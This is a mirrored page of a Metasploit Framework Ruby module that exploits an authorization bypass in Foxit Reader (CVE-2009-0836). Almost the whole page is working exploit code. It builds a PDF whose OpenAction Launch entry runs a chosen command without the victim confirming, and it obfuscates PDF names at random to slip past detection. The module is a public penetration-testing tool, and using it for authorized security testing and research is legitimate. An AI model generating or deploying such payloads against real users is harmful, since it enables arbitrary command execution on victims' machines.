CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/pdf/foxit/authbypass.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Auxiliary
9
include Msf::Exploit::FILEFORMAT
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Foxit Reader Authorization Bypass',
14
'Description' => %q{
15
This module exploits an authorization bypass vulnerability in Foxit Reader
16
build 1120. When an attacker creates a specially crafted pdf file containing
17
an Open/Execute action, arbitrary commands can be executed without confirmation
18
from the victim.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>', ],
22
'References' =>
23
[
24
[ 'CVE', '2009-0836' ],
25
[ 'OSVDB', '55615'],
26
[ 'BID', '34035' ],
27
],
28
'DisclosureDate' => '2009-03-09'))
29
30
register_options(
31
[
32
OptString.new('CMD', [ false, 'The command to execute.', '/C/Windows/System32/calc.exe']),
33
OptString.new('FILENAME', [ false, 'The file name.', 'msf.pdf'])
34
])
35
36
end
37
38
def run
39
exec = datastore['CMD']
40
41
# Create the pdf
42
pdf = make_pdf(exec)
43
44
print_status("Creating '#{datastore['FILENAME']}' file...")
45
46
file_create(pdf)
47
end
48
49
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
50
def n_obfu(str)
51
result = ""
52
str.scan(/./u) do |c|
53
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
54
result << "#%x" % c.unpack('C*')[0]
55
else
56
result << c
57
end
58
end
59
result
60
end
61
62
def random_non_ascii_string(count)
63
result = ""
64
count.times do
65
result << (rand(128) + 128).chr
66
end
67
result
68
end
69
70
def io_def(id)
71
"%d 0 obj" % id
72
end
73
74
def io_ref(id)
75
"%d 0 R" % id
76
end
77
78
def make_pdf(exec)
79
80
xref = []
81
eol = "\x0d\x0a"
82
endobj = "endobj" << eol
83
84
# Randomize PDF version?
85
pdf = "%%PDF-%d.%d" % [1 + rand(2), 1 + rand(5)] << eol
86
pdf << "%" << random_non_ascii_string(4) << eol
87
xref << pdf.length
88
pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj
89
xref << pdf.length
90
pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj
91
xref << pdf.length
92
pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj
93
xref << pdf.length
94
pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj
95
xref << pdf.length
96
pdf << io_def(5) << "<</Type/Action/S/Launch/F << /F(#{exec})>>/NewWindow true\n" + io_ref(6) + ">>" << endobj
97
xref << pdf.length
98
pdf << endobj
99
xrefPosition = pdf.length
100
pdf << "xref" << eol
101
pdf << "0 %d" % (xref.length + 1) << eol
102
pdf << "0000000000 65535 f" << eol
103
xref.each do |index|
104
pdf << "%010d 00000 n" % index << eol
105
end
106
pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol
107
pdf << "startxref" << eol
108
pdf << xrefPosition.to_s() << eol
109
pdf << "%%EOF" << eol
110
111
end
112
end
113
114